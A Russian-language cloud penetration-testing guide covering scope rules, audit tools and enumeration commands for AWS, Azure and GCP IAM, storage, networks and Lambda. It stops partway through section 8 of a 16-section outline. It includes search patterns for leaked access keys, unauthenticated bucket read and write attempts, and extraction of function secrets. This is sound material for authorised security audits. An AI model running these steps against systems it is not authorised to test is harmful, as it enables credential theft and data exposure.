
📋 Навигация по содержанию
1. Введение: почему облачный пентест принципиально отличается от классического
2. Правовые и организационные основы: разрешения, scope и модель ответственности
3. Подготовка к пентесту облака: инструменты, окружение, методологии
4. Разведка облачной инфраструктуры: OSINT и перечисление ресурсов
5. Аудит IAM: роли, политики, избыточные привилегии
6. Пентест хранилищ: S3, Blob Storage, Cloud Storage, Object Storage
7. Анализ сетевой конфигурации: Security Groups, VPC, открытые порты
8. Тестирование serverless и контейнеров: Lambda, Functions, Kubernetes
9. Атаки на метаданные и SSRF в облаке
10. Пентест Yandex Cloud и отечественных платформ
11. Продвинутые техники: lateral movement, privilege escalation, persistence
12. Документирование и составление отчёта о пентесте облака
13. Типичные уязвимости и ошибки конфигурации облаков 2026
14. FAQ: 12 горячих вопросов о пентесте облачной инфраструктуры
15. Чек-лист: полный пентест облака от разведки до отчёта
16. Заключение и теги
1. Введение: почему облачный пентест принципиально отличается от классического
Облачная инфраструктура изменила не только то, как компании хранят данные и запускают приложения, — она изменила саму природу атак и методику их тестирования. Пентестер, пришедший в облако с набором навыков классического тестирования периметра, обнаружит, что большинство привычных техник либо не применимы, либо дают совершенно иные результаты. Здесь нет привычного «внешнего периметра» в виде одного IP-адреса: поверхность атаки распределена, динамична и во многом определяется конфигурацией, а не сетевой топологией.
Ключевое отличие облачного пентеста от классического — смещение вектора от сетевых уязвимостей к уязвимостям конфигурации и управления идентификацией. По данным исследований Gartner и Wiz, более 80% реальных инцидентов в облаке связаны не с уязвимостями в программном обеспечении, а с ошибками конфигурации: избыточные права IAM, публично открытые хранилища данных, отсутствие шифрования, незащищённые конечные точки API. Это означает, что главный «инструмент» облачного пентестера — понимание модели безопасности конкретного провайдера, а не список CVE.
В 2026 году облачный пентест стал сложнее по нескольким причинам. Мультиоблачные архитектуры с одновременным использованием AWS, Azure, GCP и Yandex Cloud создают пересекающиеся плоскости управления с уникальными уязвимостями в местах стыков. Рост serverless-архитектур и контейнерных оркестраторов добавляет принципиально новые поверхности атаки. Усиление провайдерами собственных средств обнаружения (AWS GuardDuty, Azure Defender, GCP Security Command Center) означает, что агрессивное сканирование теперь обнаруживается и может прервать легитимный пентест.
Для кого это руководство: для пентестеров, переходящих от классического тестирования к облачному; для специалистов по информационной безопасности, которым нужно провести внутренний аудит облачной инфраструктуры; для команд DevSecOps, выстраивающих процесс регулярного тестирования; для руководителей ИБ, которым нужно понять объём работ при заказе облачного пентеста.
Все описанные техники, инструменты и команды — реально существующие и широко документированные в профессиональных методологиях: OWASP Cloud Security Testing Guide, MITRE ATT&CK for Cloud, CIS Benchmarks для конкретных провайдеров.
> *💡 Руководство носит образовательный характер. Все описанные действия применяются исключительно к инфраструктуре, которой вы владеете, или на тестирование которой имеете письменное разрешение.*
2. Правовые и организационные основы: разрешения, scope и модель ответственности
Облачный пентест имеет уникальные правовые особенности, которых нет в классическом тестировании. Главная из них — между вами и «железом» всегда стоит облачный провайдер, у которого есть собственные правила проведения тестирования безопасности. Нарушение этих правил может привести к блокировке аккаунта, юридическим претензиям со стороны провайдера и расторжению договора.
Правила тестирования у крупных провайдеров
Amazon Web Services (AWS) — разрешает пентест собственной инфраструктуры без предварительного уведомления для большинства сервисов. Запрещены: DDoS-тесты, атаки на DNS (Route 53), флудинг портов. Полный список разрешённых активностей: aws.amazon.com/security/penetration-testing.
Microsoft Azure — разрешает пентест без предварительного согласования при соблюдении Правил проведения тестирования на проникновение Microsoft. Рекомендуется уведомлять через форму Penetration Testing Notification. Правила: microsoft.com/en-us/msrc/pentest-rules-of-engagement.
Google Cloud Platform (GCP) — разрешает тестирование без предварительного уведомления для собственных ресурсов. Условия использования GCP запрещают несанкционированные атаки на инфраструктуру провайдера.
Yandex Cloud — разрешает тестирование собственных ресурсов. Тестирование инфраструктуры провайдера запрещено. При проведении нагрузочных тестов рекомендуется уведомление через службу поддержки.
Что должно быть оформлено до начала пентеста облака
Письменное разрешение владельца аккаунта с указанием: перечня аккаунтов/проектов/подписок, разрешённых к тестированию; временны́х рамок; списка авторизованных тестировщиков; ограничений (excluded services, excluded regions). Даже если вы штатный сотрудник — письменная авторизация обязательна.
Определение scope с детальным уровнем: конкретные AWS Account ID / Azure Subscription ID / GCP Project ID; список разрешённых и запрещённых сервисов; разрешённые регионы; максимальный уровень нагрузки (чтобы не задеть production).
Модель совместной ответственности (Shared Responsibility Model) — ключевая концепция, определяющая границы теста. Провайдер отвечает за безопасность «облака» (физическая инфраструктура, гипервизоры, базовые сервисы). Клиент отвечает за безопасность «в облаке» (конфигурация ресурсов, управление доступом, шифрование данных, сетевые настройки). Пентест ограничен зоной ответственности клиента.
Типы доступа для пентеста облака
| Тип пентеста | Уровень доступа | Что проверяется |
|---|---|---|
| Black box | Нет доступа к аккаунту | Внешне видимые ресурсы, публичные API |
| Grey box | Учётные данные с ограниченными правами | IAM, конфигурации, доступные ресурсы |
| White box | Полный административный доступ | Все конфигурации, политики, логи |
| Assumed Breach | Доступ скомпрометированного workload | Lateral movement, privilege escalation |
> *⚠️ Тестирование ресурсов, которые вы не авторизованы проверять, является компьютерным преступлением даже при наличии разрешения на тестирование соседних ресурсов того же аккаунта. Scope — это не рекомендация, это юридическая граница.*
3. Подготовка к пентесту облака: инструменты, окружение, методологии
Правильная подготовка к облачному пентесту определяет его качество на 40–50%. В отличие от классического тестирования, где достаточно Kali Linux с набором стандартных инструментов, облачный пентест требует специализированных утилит под каждого провайдера и правильно сконфигурированного окружения для работы с облачными API.
Базовый набор инструментов облачного пентестера
| Инструмент | Провайдер | Назначение | Установка |
|---|---|---|---|
| ScoutSuite | AWS, Azure, GCP, Yandex | Аудит конфигурации, многооблачный | pip install scoutsuite |
| Prowler | AWS, Azure, GCP | CIS Benchmark аудит, более 300 проверок | pip install prowler |
| CloudMapper | AWS | Визуализация сетевой топологии | pip install cloudmapper |
| Pacu | AWS | Фреймворк эксплуатации AWS | git clone github.com/RhinoSecurityLabs/pacu |
| ROADtools | Azure | Разведка Azure AD / Entra ID | pip install roadtools |
| MicroBurst | Azure | PowerShell-набор для Azure | git clone github.com/NetSPI/MicroBurst |
| GCP Scanner | GCP | Перечисление ресурсов GCP | pip install gcp-scanner |
| CloudFox | AWS, Azure | Поиск путей атаки в облаке | Бинарник с github.com/BishopFox/cloudfox |
| Trufflehog | Все | Поиск секретов в коде и конфигах | pip install trufflehog |
| Gitleaks | Все | Поиск утечек секретов в Git | go install github.com/gitleaks/gitleaks |
Настройка рабочего окружения
Рекомендуется изолированная виртуальная машина или облачная рабочая станция — чтобы не смешивать credentials тестируемого аккаунта с рабочими. Отдельный Docker-контейнер для каждого инструмента предотвращает конфликты зависимостей:
bash
<h2 id="ustanovka-aws-cli">Установка AWS CLI</h2>
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install
<h2 id="nastroyka-profilya-dlya-testovogo-akkaunta">Настройка профиля для тестового аккаунта</h2>
aws configure --profile pentest-target
<h2 id="aws-access-key-id-vvedite-klyuch">AWS Access Key ID: [введите ключ]</h2>
<h2 id="aws-secret-access-key-vvedite-sekret">AWS Secret Access Key: [введите секрет]</h2>
<h2 id="default-region-name-us-east-1">Default region name: us-east-1</h2>
<h2 id="default-output-format-json">Default output format: json</h2>
<h2 id="ustanovka-azure-cli">Установка Azure CLI</h2>
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
az login --use-device-code
<h2 id="ustanovka-google-cloud-sdk">Установка Google Cloud SDK</h2>
curl https://sdk.cloud.google.com | bash
exec -l $SHELL
gcloud auth login
gcloud config set project [PROJECT_ID]
ScoutSuite: быстрый аудит конфигурации
ScoutSuite — отправная точка любого облачного пентеста. Инструмент автоматически проверяет сотни параметров конфигурации и генерирует HTML-отчёт с находками, классифицированными по критичности:
bash
<h2 id="ustanovka-scoutsuite">Установка ScoutSuite</h2>
pip install scoutsuite
<h2 id="audit-aws">Аудит AWS</h2>
scout aws --profile pentest-target --report-dir ./scoutsuite-report
<h2 id="audit-azure">Аудит Azure</h2>
scout azure --cli --report-dir ./scoutsuite-report
<h2 id="audit-gcp">Аудит GCP</h2>
scout gcp --user-account --report-dir ./scoutsuite-report
<h2 id="otkryt-otchyot">Открыть отчёт</h2>
firefox scoutsuite-report/scoutsuite-report.html
Методологии облачного пентеста
- OWASP Cloud Security Testing Guide — owasp.org/www-project-cloud-security-testing-guide — структурированная методология
- MITRE ATT&CK for Cloud — attack.mitre.org/matrices/enterprise/cloud — таксономия тактик и техник атак
- CIS Benchmarks — cisecurity.org/cis-benchmarks — базовые стандарты конфигурации для AWS, Azure, GCP
- CSA Cloud Controls Matrix — cloudsecurityalliance.org/research/cloud-controls-matrix — матрица контролей безопасности
> *💡 Начинайте каждый облачный пентест с ScoutSuite или Prowler — автоматизированный аудит конфигурации за 15–30 минут даёт общую карту проблем и позволяет сфокусировать ручное тестирование на наиболее критичных областях.*
4. Разведка облачной инфраструктуры: OSINT и перечисление ресурсов
Разведка в облачном пентесте состоит из двух этапов: пассивная разведка (OSINT без взаимодействия с инфраструктурой цели) и активное перечисление (enumeration — взаимодействие с API для получения информации об имеющихся ресурсах). Оба этапа выполняются до любых попыток эксплуатации.
Пассивная разведка: поиск облачных ресурсов без авторизации
Многие облачные ресурсы видимы снаружи без какой-либо аутентификации — это и есть первая точка интереса для атакующего:
bash
<h2 id="grayhatwarfare-poisk-publichnyh-s3-buckets-po-imeni-organizatsii">GrayhatWarfare — поиск публичных S3 buckets по имени организации</h2>
<h2 id="url-grayhatwarfare-com-vvedite-nazvanie-kompanii-ili-domen">URL: grayhatwarfare.com — введите название компании или домен</h2>
<h2 id="bucket-finder-perebor-imyon-s3-bucket-po-slovaryu">Bucket Finder — перебор имён S3 bucket по словарю</h2>
git clone https://github.com/mattsb42/bucket-finder
python3 bucket-finder.py --region us-east-1 wordlist.txt
<h2 id="s3scanner-poisk-i-proverka-otkrytyh-s3-buckets">s3scanner — поиск и проверка открытых S3 buckets</h2>
pip install s3scanner
s3scanner scan --buckets-file buckets.txt
<h2 id="cloudenum-perechislenie-resursov-po-klyuchevomu-slovu-aws-azure-gcp-odnovremenno">CloudEnum — перечисление ресурсов по ключевому слову (AWS, Azure, GCP одновременно)</h2>
git clone https://github.com/initstring/cloud_enum
pip install -r cloud_enum/requirements.txt
python3 cloud_enum/cloud_enum.py -k targetcompanyname
Поиск утечек credentials в публичных источниках
Одна из наиболее результативных техник — поиск облачных ключей доступа, случайно опубликованных разработчиками:
bash
<h2 id="trufflehog-poisk-sekretov-v-github-repozitoriyah">Trufflehog — поиск секретов в GitHub-репозиториях</h2>
pip install trufflehog
trufflehog github --org=targetorg --token=$GITHUB_TOKEN
<h2 id="gitleaks-analiz-konkretnogo-repozitoriya">Gitleaks — анализ конкретного репозитория</h2>
gitleaks detect --source /path/to/repo --report-format json
<h2 id="gitdorking-cherez-github-search-ruchnoy-poisk">GitDorking через GitHub Search — ручной поиск</h2>
<h2 id="v-stroke-poiska-github">В строке поиска GitHub:</h2>
<h2 id="org-targetcompany-akia-aws-access-key-id-nachinaetsya-s-akia">org:targetcompany "AKIA" (AWS Access Key ID начинается с AKIA)</h2>
<h2 id="org-targetcompany-aws-secret-access-key">org:targetcompany "aws_secret_access_key"</h2>
<h2 id="org-targetcompany-filename-env">org:targetcompany filename:.env</h2>
<h2 id="org-targetcompany-client-secret">org:targetcompany "client_secret"</h2>Активное перечисление ресурсов AWS
После получения credentials (даже минимальных) — систематическое перечисление доступных ресурсов:
bash
<h2 id="opredelit-kto-my-tekuschiy-identity">Определить, кто мы (текущий identity)</h2>
aws sts get-caller-identity --profile pentest-target
<h2 id="perechislenie-vseh-regionov-s-aktivnymi-resursami">Перечисление всех регионов с активными ресурсами</h2>
aws ec2 describe-regions --profile pentest-target --query 'Regions[].RegionName'
<h2 id="enumerate-iam-polzovateley-esli-est-prava">Enumerate IAM пользователей (если есть права)</h2>
aws iam list-users --profile pentest-target
aws iam list-roles --profile pentest-target
<h2 id="perechislenie-s3-buckets">Перечисление S3 buckets</h2>
aws s3 ls --profile pentest-target
<h2 id="ec2-instansy-vo-vseh-regionah">EC2 инстансы во всех регионах</h2>
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
echo "=== $region ===";
aws ec2 describe-instances --region $region --profile pentest-target \
--query 'Reservations[].Instances[].[InstanceId,State.Name,PublicIpAddress,Tags[?Key==`Name`].Value]' \
--output table;
done
Перечисление ресурсов Azure
bash
<h2 id="spisok-vseh-podpisok">Список всех подписок</h2>
az account list --output table
<h2 id="spisok-vseh-resursnyh-grupp">Список всех ресурсных групп</h2>
az group list --output table
<h2 id="vse-resursy-v-podpiske-vklyuchaya-tipy">Все ресурсы в подписке (включая типы)</h2>
az resource list --output table
<h2 id="storage-accounts-analog-s3-v-azure">Storage accounts (аналог S3 в Azure)</h2>
az storage account list --output table
<h2 id="virtualnye-mashiny">Виртуальные машины</h2>
az vm list --output table --show-details
<h2 id="app-service-veb-prilozheniya">App Service (веб-приложения)</h2>
az webapp list --output table
Перечисление ресурсов GCP
bash
<h2 id="vse-proekty-dostupnye-akkauntu">Все проекты, доступные аккаунту</h2>
gcloud projects list
<h2 id="compute-engine-instansy">Compute Engine инстансы</h2>
gcloud compute instances list --project $PROJECT_ID
<h2 id="cloud-storage-buckets">Cloud Storage buckets</h2>
gsutil ls
<h2 id="cloud-functions">Cloud Functions</h2>
gcloud functions list --project $PROJECT_ID
<h2 id="cloud-run-servisy">Cloud Run сервисы</h2>
gcloud run services list --project $PROJECT_ID
<h2 id="service-accounts">Service Accounts</h2>
gcloud iam service-accounts list --project $PROJECT_ID
> *⚠️ Активное перечисление через AWS API логируется в CloudTrail, Azure в Activity Log, GCP в Cloud Audit Logs. Высокочастотные API-запросы могут сработать как триггер в системах обнаружения (GuardDuty, Azure Defender). В production-окружениях координируйте активное перечисление с командой, которая мониторит логи.*
5. Аудит IAM: роли, политики, избыточные привилегии
IAM (Identity and Access Management) — центральный элемент безопасности любого облака и наиболее частый источник критических уязвимостей. По данным отчётов Wiz и Orca Security, избыточные привилегии и неправильно настроенные IAM-политики присутствуют в большинстве протестированных облачных сред. Именно IAM-уязвимости чаще всего позволяют атакующему эскалировать привилегии от минимального доступа до администратора всего аккаунта.
Аудит AWS IAM: поиск избыточных привилегий
bash
<h2 id="iam-access-analyzer-poisk-izbytochnyh-vneshnih-dostupov">IAM Access Analyzer — поиск избыточных внешних доступов</h2>
aws accessanalyzer list-findings --analyzer-arn $(aws accessanalyzer list-analyzers \
--query 'analyzers[0].arn' --output text)
<h2 id="poluchit-vse-politiki-konkretnogo-polzovatelya">Получить все политики конкретного пользователя</h2>
aws iam list-attached-user-policies --user-name TARGET_USER
aws iam list-user-policies --user-name TARGET_USER
<h2 id="poluchit-soderzhimoe-politiki">Получить содержимое политики</h2>
aws iam get-policy-version \
--policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAME \
--version-id v1
<h2 id="iam-simulator-proverit-chto-mozhet-delat-konkretnaya-rol">IAM Simulator — проверить, что может делать конкретная роль</h2>
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME \
--action-names s3:GetObject s3:PutObject ec2:DescribeInstances
<h2 id="nayti-roli-s-pravom-na-passrole-opasnaya-privilegiya-dlya-eskalatsii">Найти роли с правом на PassRole (опасная привилегия для эскалации)</h2>
aws iam list-roles | python3 -c "
import json, sys
roles = json.load(sys.stdin)['Roles']
for r in roles:
print(r['RoleName'], r['AssumeRolePolicyDocument'])
"
Инструмент Principal Mapper (PMapper): граф привилегий
PMapper строит граф возможных путей эскалации привилегий в AWS аккаунте — автоматически находит цепочки, по которым непривилегированный пользователь может получить права администратора:
bash
<h2 id="ustanovka-pmapper">Установка PMapper</h2>
pip install principalmapper
<h2 id="sbor-dannyh-ob-iam-konfiguratsii-akkaunta">Сбор данных об IAM-конфигурации аккаунта</h2>
pmapper --profile pentest-target graph create
<h2 id="poisk-putey-privilegirovannogo-dostupa">Поиск путей привилегированного доступа</h2>
pmapper --profile pentest-target analysis
<h2 id="vizualizatsiya-grafa">Визуализация графа</h2>
pmapper --profile pentest-target visualize --filetype svg
Типичные IAM-уязвимости в AWS
| Уязвимость | Описание | Команда обнаружения |
|---|---|---|
| Wildcard в политике | `"Action": "*"` или `"Resource": "*"` | Анализ политик через ScoutSuite |
| iam:PassRole | Позволяет передавать роли сервисам и эскалировать привилегии | PMapper, ручной анализ |
| sts:AssumeRole без условий | Роль может быть принята любым identity | aws iam get-role |
| Неиспользуемые ключи доступа | Ключи, не используемые более 90 дней | aws iam generate-credential-report |
| MFA не требуется | Нет условия aws:MultiFactorAuthPresent | ScoutSuite → IAM раздел |
| Публичная роль | AssumeRolePolicyDocument с Principal: "*" | aws iam list-roles + анализ |
Аудит Azure RBAC: поиск избыточных назначений ролей
bash
<h2 id="vse-naznacheniya-roley-v-podpiske">Все назначения ролей в подписке</h2>
az role assignment list --all --output table
<h2 id="polzovateli-s-rolyu-owner-naivysshiy-uroven">Пользователи с ролью Owner (наивысший уровень)</h2>
az role assignment list --all \
--query "[?roleDefinitionName=='Owner']" --output table
<h2 id="custom-roles-chasto-soderzhat-izbytochnye-prava">Custom roles (часто содержат избыточные права)</h2>
az role definition list --custom-role-only true --output table
<h2 id="naznacheniya-roley-dlya-konkretnogo-polzovatelya">Назначения ролей для конкретного пользователя</h2>
az role assignment list --assignee user@domain.com --output table
<h2 id="service-principals-s-shirokimi-pravami">Service Principals с широкими правами</h2>
az ad sp list --all --query "[].{Name:displayName,AppId:appId}" --output table
Аудит GCP IAM
bash
<h2 id="vse-iam-privyazki-na-urovne-proekta">Все IAM-привязки на уровне проекта</h2>
gcloud projects get-iam-policy $PROJECT_ID --format json
<h2 id="poisk-privyazok-s-roles-owner-i-roles-editor">Поиск привязок с roles/owner и roles/editor</h2>
gcloud projects get-iam-policy $PROJECT_ID --format json | python3 -c "
import json, sys
policy = json.load(sys.stdin)
for binding in policy.get('bindings', []):
if binding['role'] in ['roles/owner', 'roles/editor']:
print(f'Role: {binding[\"role\"]}')
for member in binding['members']:
print(f' Member: {member}')
"
<h2 id="service-accounts-s-pravami-na-proekt">Service Accounts с правами на проект</h2>
gcloud iam service-accounts list --project $PROJECT_ID
<h2 id="klyuchi-service-account-ustarevshie-klyuchi-risk">Ключи Service Account (устаревшие ключи — риск)</h2>
gcloud iam service-accounts keys list \
--iam-account SA_EMAIL@PROJECT_ID.iam.gserviceaccount.com
> *✅ Основной принцип безопасного IAM — наименьшие привилегии (Least Privilege). При аудите ищите: права шире необходимого минимума, неиспользуемые учётные записи, отсутствие MFA для привилегированных аккаунтов, возможности для privilege escalation через цепочки ролей.*
6. Пентест хранилищ: S3, Blob Storage, Cloud Storage, Object Storage
Открытые или неправильно настроенные облачные хранилища — одна из наиболее распространённых и критичных уязвимостей, приводящих к реальным утечкам данных. Достаточно одного публично открытого bucket с чувствительными данными, чтобы пентест получил оценку «критично». Проверка хранилищ — обязательный и один из первых этапов любого облачного пентеста.
Аудит AWS S3: поиск открытых buckets и небезопасных политик
bash
<h2 id="spisok-vseh-buckets-v-akkaunte">Список всех buckets в аккаунте</h2>
aws s3 ls --profile pentest-target
<h2 id="proverka-public-access-block-na-urovne-akkaunta">Проверка Public Access Block на уровне аккаунта</h2>
aws s3control get-public-access-block \
--account-id $(aws sts get-caller-identity --query Account --output text) \
--profile pentest-target
<h2 id="proverka-nastroek-dlya-konkretnogo-bucket">Проверка настроек для конкретного bucket</h2>
aws s3api get-bucket-acl --bucket BUCKET_NAME --profile pentest-target
aws s3api get-bucket-policy --bucket BUCKET_NAME --profile pentest-target
aws s3api get-bucket-public-access-block --bucket BUCKET_NAME --profile pentest-target
<h2 id="popytka-listinga-soderzhimogo-bez-autentifikatsii-proverka-publichnogo-dostupa">Попытка листинга содержимого без аутентификации (проверка публичного доступа)</h2>
aws s3 ls s3://BUCKET_NAME --no-sign-request
<h2 id="proverka-na-vozmozhnost-zagruzki-fayla">Проверка на возможность загрузки файла</h2>
aws s3 cp test.txt s3://BUCKET_NAME/ --no-sign-request
<h2 id="shifrovanie-bucket-otsutstvie-risk">Шифрование bucket (отсутствие = риск)</h2>
aws s3api get-bucket-encryption --bucket BUCKET_NAME --profile pentest-target
<h2 id="versioning-otklyuchyon-risk-poteri-dannyh-pri-atake">Versioning (отключён = риск потери данных при атаке)</h2>
aws s3api get-bucket-versioning --bucket BUCKET_NAME --profile pentest-target
S3 Bucket Policies: критические паттерны
Политика bucket, разрешающая публичный доступ (критическая уязвимость):
json
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::bucket-name/*"
}
Политика, разрешающая запись любому (сверхкритично — возможность загрузки вредоносного контента):
json
{
"Effect": "Allow",
"Principal": "*",
"Action": ["s3:PutObject", "s3:DeleteObject"],
"Resource": "arn:aws:s3:::bucket-name/*"
}
Автоматизированная проверка с помощью S3audit
bash
<h2 id="s3audit-proverka-vseh-buckets-akkaunta-na-sootvetstvie-best-practices">s3audit — проверка всех buckets аккаунта на соответствие best practices</h2>
pip install s3audit
s3audit --profile pentest-target
<h2 id="otchyot-po-kazhdomu-bucket">Отчёт по каждому bucket:</h2>
<h2 id="publichnyy-dostup-zablokirovan">✅/❌ Публичный доступ заблокирован</h2>
<h2 id="shifrovanie-vklyucheno">✅/❌ Шифрование включено</h2>
<h2 id="versioning-vklyuchyon">✅/❌ Versioning включён</h2>
<h2 id="logirovanie-vklyucheno">✅/❌ Логирование включено</h2>
<h2 id="mfa-delete-vklyuchyon">✅/❌ MFA Delete включён</h2>Аудит Azure Blob Storage
bash
<h2 id="spisok-vseh-storage-accounts">Список всех storage accounts</h2>
az storage account list --output table
<h2 id="proverka-nastroek-publichnogo-dostupa">Проверка настроек публичного доступа</h2>
az storage account show --name ACCOUNT_NAME \
--query "allowBlobPublicAccess"
<h2 id="spisok-containers-v-storage-account">Список containers в storage account</h2>
az storage container list --account-name ACCOUNT_NAME --output table
<h2 id="proverka-publichnogo-urovnya-dostupa-container">Проверка публичного уровня доступа container</h2>
az storage container show --name CONTAINER_NAME \
--account-name ACCOUNT_NAME \
--query "properties.publicAccess"
<h2 id="popytka-listinga-bez-autentifikatsii">Попытка листинга без аутентификации</h2>
az storage blob list \
--container-name CONTAINER_NAME \
--account-name ACCOUNT_NAME \
--no-sign-request
<h2 id="proverka-shifrovaniya">Проверка шифрования</h2>
az storage account show --name ACCOUNT_NAME \
--query "encryption"
Аудит GCP Cloud Storage
bash
<h2 id="spisok-vseh-buckets-proekta">Список всех buckets проекта</h2>
gsutil ls -p $PROJECT_ID
<h2 id="proverka-prav-dostupa-konkretnogo-bucket">Проверка прав доступа конкретного bucket</h2>
gsutil iam get gs://BUCKET_NAME
<h2 id="popytka-listinga-bez-autentifikatsii">Попытка листинга без аутентификации</h2>
gsutil ls gs://BUCKET_NAME (без авторизованных credentials)
<h2 id="proverka-uniform-bucket-level-access">Проверка uniform bucket-level access</h2>
gsutil uniformbucketlevelaccess get gs://BUCKET_NAME
<h2 id="proverka-publichnogo-dostupa-cherez-acl">Проверка публичного доступа через ACL</h2>
gsutil acl get gs://BUCKET_NAME
> *⚠️ Перед загрузкой тестовых файлов в хранилища цели убедитесь, что в scope явно разрешена «попытка записи» — это деструктивное действие, которое может нарушить работу production-систем. По умолчанию ограничивайтесь только read-операциями.*
7. Анализ сетевой конфигурации: Security Groups, VPC, открытые порты
Сетевая конфигурация в облаке определяет, какие ресурсы доступны извне и как сегментирована внутренняя сеть. Ошибки конфигурации Security Groups (AWS), Network Security Groups (Azure) и Firewall Rules (GCP) — второй по распространённости источник критических уязвимостей после IAM.
Аудит AWS Security Groups: поиск опасных правил
bash
<h2 id="vse-security-groups-s-pravilami-otkrytymi-na-0-0-0-0-0">Все Security Groups с правилами, открытыми на 0.0.0.0/0</h2>
aws ec2 describe-security-groups --profile pentest-target \
--query "SecurityGroups[?IpPermissions[?IpRanges[?CidrIp=='0.0.0.0/0']]].[GroupId,GroupName,IpPermissions]" \
--output json | python3 -m json.tool
<h2 id="poisk-ssh-22-i-rdp-3389-otkrytyh-v-internet">Поиск SSH (22) и RDP (3389) открытых в интернет</h2>
aws ec2 describe-security-groups --profile pentest-target \
--filters "Name=ip-permission.cidr,Values=0.0.0.0/0" \
"Name=ip-permission.from-port,Values=22" \
--query "SecurityGroups[*].[GroupId,GroupName]" --output table
<h2 id="ec2-instansy-s-publichnym-ip">EC2 инстансы с публичным IP</h2>
aws ec2 describe-instances --profile pentest-target \
--query "Reservations[].Instances[?PublicIpAddress!=null].[InstanceId,PublicIpAddress,Tags[?Key=='Name'].Value]" \
--output table
CloudMapper: визуализация сетевой топологии AWS
CloudMapper строит интерактивную карту VPC-топологии — помогает быстро обнаружить неожиданные сетевые связи и открытые ресурсы:
bash
<h2 id="ustanovka-cloudmapper">Установка CloudMapper</h2>
git clone https://github.com/duo-labs/cloudmapper.git
cd cloudmapper && pip install -r requirements.txt
<h2 id="sbor-dannyh">Сбор данных</h2>
python cloudmapper.py collect --profile pentest-target --account ACCOUNT_NAME
<h2 id="analiz-vyyavlyaet-otkrytye-resursy-i-narusheniya-segmentatsii">Анализ (выявляет открытые ресурсы и нарушения сегментации)</h2>
python cloudmapper.py analyze --account ACCOUNT_NAME
<h2 id="generatsiya-veb-karty">Генерация веб-карты</h2>
python cloudmapper.py webserver --account ACCOUNT_NAME
<h2 id="otkryt-http-localhost-8000">Открыть: http://localhost:8000</h2>Критические сетевые уязвимости в облаке
| Уязвимость | Критичность | Что проверять |
|---|---|---|
| SSH/RDP открыт в интернет | Критично | SG с 0.0.0.0/0 на порты 22, 3389 |
| База данных с публичным IP | Критично | RDS, Azure SQL с public endpoint |
| Kubernetes API открыт в интернет | Критично | Порт 6443 доступен снаружи |
| Prometheus/Grafana без аутентификации | Высокое | Порты 9090, 3000 открыты публично |
| Metadata сервис доступен изнутри без IMDSv2 | Высокое | EC2 Instance Metadata |
| Отсутствие сегментации между средами | Высокое | Prod и Dev в одном VPC без разделения |
Аудит Azure NSG и открытых портов
bash
<h2 id="vse-nsg-s-pravilami-allow-na-vse-porty">Все NSG с правилами Allow * на все порты</h2>
az network nsg list --output json | python3 -c "
import json, sys
nsgs = json.load(sys.stdin)
for nsg in nsgs:
for rule in nsg.get('securityRules', []):
if rule['access'] == 'Allow' and rule.get('sourceAddressPrefix') == '*':
print(f'NSG: {nsg[\"name\"]}, Rule: {rule[\"name\"]}, Port: {rule.get(\"destinationPortRange\")}')
"
<h2 id="publichnye-ip-adresa-v-podpiske">Публичные IP-адреса в подписке</h2>
az network public-ip list --output table \
--query "[*].[name,ipAddress,publicIPAllocationMethod]"
<h2 id="vse-load-balancers-s-publichnymi-endpoint">Все Load Balancers с публичными endpoint</h2>
az network lb list --output table
Nmap-сканирование публичных endpoint облака
После получения списка публичных IP через API — классическое сетевое сканирование:
bash
<h2 id="skanirovanie-publichnyh-ip-ec2-azure-vm">Сканирование публичных IP EC2 / Azure VM</h2>
<h2 id="snachala-poluchit-spisok-ip-iz-predyduschih-shagov">Сначала получить список IP из предыдущих шагов</h2>
<h2 id="bystroe-skanirovanie-top-1000-portov">Быстрое сканирование топ-1000 портов</h2>
nmap -sV -T4 --open -oA cloud_scan TARGETS_FILE
<h2 id="detalnoe-skanirovanie-konkretnogo-hosta">Детальное сканирование конкретного хоста</h2>
nmap -sV -sC -p- --open -T4 TARGET_IP
<h2 id="proverka-ssl-tls-konfiguratsii">Проверка SSL/TLS конфигурации</h2>
nmap --script ssl-enum-ciphers -p 443 TARGET_IP
> *💡 В облаке «открытый порт» не всегда означает реальный сервис. Убедитесь, что находки из Nmap соответствуют реально работающим сервисам — облачный балансировщик может «слушать» порт, за которым нет реального backend.*
8. Тестирование serverless и контейнеров: Lambda, Functions, Kubernetes
Serverless-архитектуры и контейнерные оркестраторы стали доминирующей моделью развёртывания приложений в облаке. Их поверхность атаки кардинально отличается от виртуальных машин: нет постоянного хоста, каждый запрос выполняется в эфемерном окружении, привилегии определяются назначенной сервисной ролью. Именно поэтому пентест этих компонентов требует отдельной методологии.
Тестирование AWS Lambda
bash
<h2 id="perechislenie-vseh-lambda-funktsiy">Перечисление всех Lambda-функций</h2>
aws lambda list-functions --profile pentest-target \
--query "Functions[*].[FunctionName,Runtime,Role,LastModified]" --output table
<h2 id="poluchit-konfiguratsiyu-funktsii-vklyuchaya-peremennye-okruzheniya">Получить конфигурацию функции (включая переменные окружения!)</h2>
aws lambda get-function-configuration \
--function-name FUNCTION_NAME --profile pentest-target
<h2 id="peremennye-okruzheniya-chastyy-istochnik-sekretov">Переменные окружения — частый источник секретов</h2>
aws lambda get-function-configuration \
--function-name FUNCTION_NAME --profile pentest-target \
--query "Environment.Variables"
<h2 id="poluchit-kod-funktsii-skachat-zip-s-kodom">Получить код функции (скачать ZIP с кодом)</h2>
aws lambda get-function \
--function-name FUNCTION_NAME --profile pentest-target \
--query "Code.Location" --output text | xargs wget -O function.zip
<h2 id="url-adres-funktsii-esli-funktsiya-imeet-publichnyy-url">URL-адрес функции (если функция имеет публичный URL)</h2>
aws lambda get-function-url-config \
--function-name FUNCTION_NAME --profile pentest-target
<h2 id="rol-iam-naznachennaya-funktsii-klyuchevaya-dlya-privilege-escalation">Роль IAM, назначенная функции (ключевая для privilege escalation)</h2>
aws lambda get-function-configuration \
--function-name FUNCTION_NAME --profile pentest-target \
--query "Role" --output text
Типичные уязвимости Lambda/Azure Functions
Секреты в переменных окружения — API ключи, пароли БД, токены передаются через Environment Variables вместо AWS Secrets Manager или Azure Key Vault. Получение конфигурации функции немедленно раскрывает секреты.
